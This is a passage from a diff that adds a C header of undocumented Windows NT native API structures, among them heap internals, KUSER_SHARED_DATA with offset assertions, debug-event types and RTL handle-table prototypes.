+ ULONG EncodeFlagMask; + HEAP_ENTRY Encoding; + ULONG PointerKey; + ULONG Interceptor; + ULONG VirtualMemoryThreshold; + ULONG Signature; + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG TotalFreeSize; + ULONG MaximumAllocationSize; + USHORT ProcessHeapsListIndex; + USHORT HeaderValidateLength; + PVOID HeaderValidateCopy; + USHORT NextAvailableTagIndex; + USHORT MaximumTagIndex; + PHEAP_TAG_ENTRY TagEntries; + LIST_ENTRY UCRList; + ULONG AlignRound; + ULONG AlignMask; + LIST_ENTRY VirtualAllocdBlocks; + LIST_ENTRY SegmentList; + USHORT AllocatorBackTraceIndex; + ULONG NonDedicatedListLength; + PVOID BlocksIndex; + PVOID UCRIndex; + PHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries; + LIST_ENTRY FreeLists; + PHEAP_LOCK LockVariable; + LONG * CommitRoutine; // <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html + PVOID FrontEndHeap; + USHORT FrontHeapLockCount; + UCHAR FrontEndHeapType; + HEAP_COUNTERS Counters; + HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; // + +typedef struct _HEAP_FREE_ENTRY_EXTRA +{ + USHORT TagIndex; + USHORT FreeBackTraceIndex; +} HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA; // + +typedef struct _HEAP_ENTRY_EXTRA +{ + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; + ULONG Settable; + ULONG64 ZeroInit; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; // + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + LIST_ENTRY Entry; + HEAP_ENTRY_EXTRA ExtraStuff; + ULONG CommitSize; + ULONG ReserveSize; + HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; // + +// +// Known extended CPU state feature IDs +// + +// #define XSTATE_LEGACY_FLOATING_POINT 0 +// #define XSTATE_LEGACY_SSE 1 +// #define XSTATE_GSSE 2 +// +// #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +// #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +// #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +// #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) +// +// #define MAXIMUM_XSTATE_FEATURES 64 + + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +#define PROCESSOR_FEATURE_MAX 64 +#define MAX_WOW64_SHARED_ENTRIES 16 + +#if defined(_MSC_VER) && (_MSC_VER < 1300) + +#define XSTATE_LEGACY_FLOATING_POINT 0 +#define XSTATE_LEGACY_SSE 1 +#define XSTATE_GSSE 2 + +#define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +#define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +#define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +#define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) + +#define MAXIMUM_XSTATE_FEATURES 64 + +// +// Extended processor state configuration +// +#if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300 +typedef struct _XSTATE_FEATURE { + DWORD Offset; + DWORD Size; +} XSTATE_FEATURE, *PXSTATE_FEATURE; + +typedef struct _XSTATE_CONFIGURATION { + // Mask of enabled features + DWORD64 EnabledFeatures; + + // Total size of the save area + DWORD Size; + + DWORD OptimizedSave : 1; + + // List of features ( + XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; + +} XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; +#endif + +#ifndef _WINDOWS_ +typedef enum _HEAP_INFORMATION_CLASS { + HeapCompatibilityInformation +} HEAP_INFORMATION_CLASS; +#endif //_WINDOWS_ + +#endif + +typedef struct _KUSER_SHARED_DATA +{ + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + + ULONG CryptoExponent; + + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG Reserved2[7]; + + ULONG NtProductType; + BOOLEAN ProductTypeIsValid; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + ULONG Reserved1; + ULONG Reserved3; + + volatile ULONG TimeSlip; + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + + LARGE_INTEGER SystemExpirationDate; + + ULONG SuiteMask; + + BOOLEAN KdDebuggerEnabled; + + UCHAR NXSupportPolicy; + + volatile ULONG ActiveConsoleId; + + volatile ULONG DismountCount; + + ULONG ComPlusPackage; + + ULONG LastSystemRITEventTickCount; + + ULONG NumberOfPhysicalPages; + + BOOLEAN SafeBootMode; + union + { + UCHAR TscQpcData; + struct + { + UCHAR TscQpcEnabled : 1; + UCHAR TscQpcSpareFlag : 1; + UCHAR TscQpcShift : 6; + }; + }; + UCHAR TscQpcPad[2]; + + union + { + ULONG TraceLogging; + ULONG SharedDataFlags; + struct + { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgSystemDllRelocated : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgSEHValidationEnabled : 1; + ULONG SpareBits : 25; + }; + }; + ULONG DataFlagsPad[1]; + + ULONGLONG TestRetInstruction; + ULONG SystemCall; + ULONG SystemCallReturn; + ULONGLONG SystemCallPad[3]; + + union + { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + struct + { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + }; + }; + + ULONG Cookie; + + // Entries below all invalid below Windows Vista + + ULONG CookiePad[1]; + + LONGLONG ConsoleSessionForegroundProcessId; + + ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES]; + + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + + ULONG LangGenerationCount; + + union + { + ULONGLONG AffinityPad; // only valid on Windows Vista + ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista + ULONGLONG Reserved5; + }; + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 TscQpcBias; + + volatile ULONG ActiveProcessorCount; + volatile USHORT ActiveGroupCount; + USHORT Reserved4; + + volatile ULONG AitSamplingValue; + volatile ULONG AppCompatFlag; + + ULONGLONG SystemDllNativeRelocation; + ULONG SystemDllWowRelocation; + + ULONG XStatePad[1]; + XSTATE_CONFIGURATION XState; +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0); + +#define SHARED_USER_DATA_VA 0x7FFE0000 +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA) + +__inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); } + +__forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); } + +//added 20/03/2011 +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 + +//added 20/03/2011 +typedef struct _RTL_PROCESS_REFLECTION_INFORMATION +{ + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; +} RTL_PROCESS_REFLECTION_INFORMATION, *PRTL_PROCESS_REFLECTION_INFORMATION; + +//FIXED 21.02.2011 size for x64 +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; +typedef VM_COUNTERS *PVM_COUNTERS; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _IO_COUNTERS { + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG OtherOperationCount; + ULONGLONG ReadTransferCount; + ULONGLONG WriteTransferCount; + ULONGLONG OtherTransferCount; +} IO_COUNTERS; +typedef IO_COUNTERS *PIO_COUNTERS; +#endif + +// SystemProcessesAndThreadsInformation +//FIXED 21.02.2011 size for x64 (and as well for x86 too) +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +#define SIZEOF_BP_BUFFER 32 +#define LPC_BUFFER_SIZE 0x130 + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, *PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectFlags = 1, + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; + + +//added 21/03/2011 +//begin +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS +#define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t )) + +typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( + IN PVOID HeapHandle, + IN PVOID Parameter + ); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct _RTL_HEAP_USAGE_ENTRY *Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; + +#define HeapDebuggingInformation 0x80000002 + +typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + IN LONG Reserved, + IN PVOID HeapHandle, + IN PVOID BaseAddress, + IN SIZE_T BlockSize, + IN ULONG StackTraceDepth, + IN PVOID *StackTrace + ); + +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; + +// added 11/04/2011 +#define PREALLOCATE_EVENT_MASK 0x80000000 + +#define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000)) +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlReleaseLockRoutine(L) RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlDeleteLockRoutine(L) RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; + +#if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300) +typedef struct _RTL_SRWLOCK { + PVOID Ptr; +} RTL_SRWLOCK, *PRTL_SRWLOCK; +#endif + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; + +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; + +typedef struct _RTL_PROCESS_LOCKS { + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[ 1 ]; +} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; + +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[ MAX_STACK_DEPTH ]; +} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; + +typedef struct _RTL_PROCESS_BACKTRACES { + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ]; +} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; + +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + PRTL_PROCESS_MODULES Modules; + PRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; + }; + PRTL_PROCESS_BACKTRACES BackTraces; + PRTL_PROCESS_HEAPS Heaps; + PRTL_PROCESS_LOCKS Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; + +//added 21/03/2011 +//end + + +// added: 22/04/2011 - RtlStream +typedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA; +typedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE; +typedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA; + +HRESULT +NTAPI +RtlReleaseMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +HRESULT +NTAPI +RtlSetMemoryStreamSize( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULARGE_INTEGER ULargeInteger + ); + +HRESULT +NTAPI +RtlCommitMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULONG NewStream + ); + +HRESULT +NTAPI +RtlRevertMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + PSECURITY_DESCRIPTOR SourceDescriptor, + PSECURITY_DESCRIPTOR DestinationDescriptor + ); + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; + struct _RTL_HANDLE_TABLE_ENTRY *NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _JOB_SET_ARRAY { + HANDLE JobHandle; // Handle to job object to insert + DWORD MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. + DWORD Flags; // Unused. Must be zero +} JOB_SET_ARRAY, *PJOB_SET_ARRAY; +#endif + +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + +NTSTATUS +NTAPI +RtlDestroyHandleTable( + IN OUT PRTL_HANDLE_TABLE HandleTable + ); + +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT OPTIONAL PULONG HandleIndex + ); + +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY 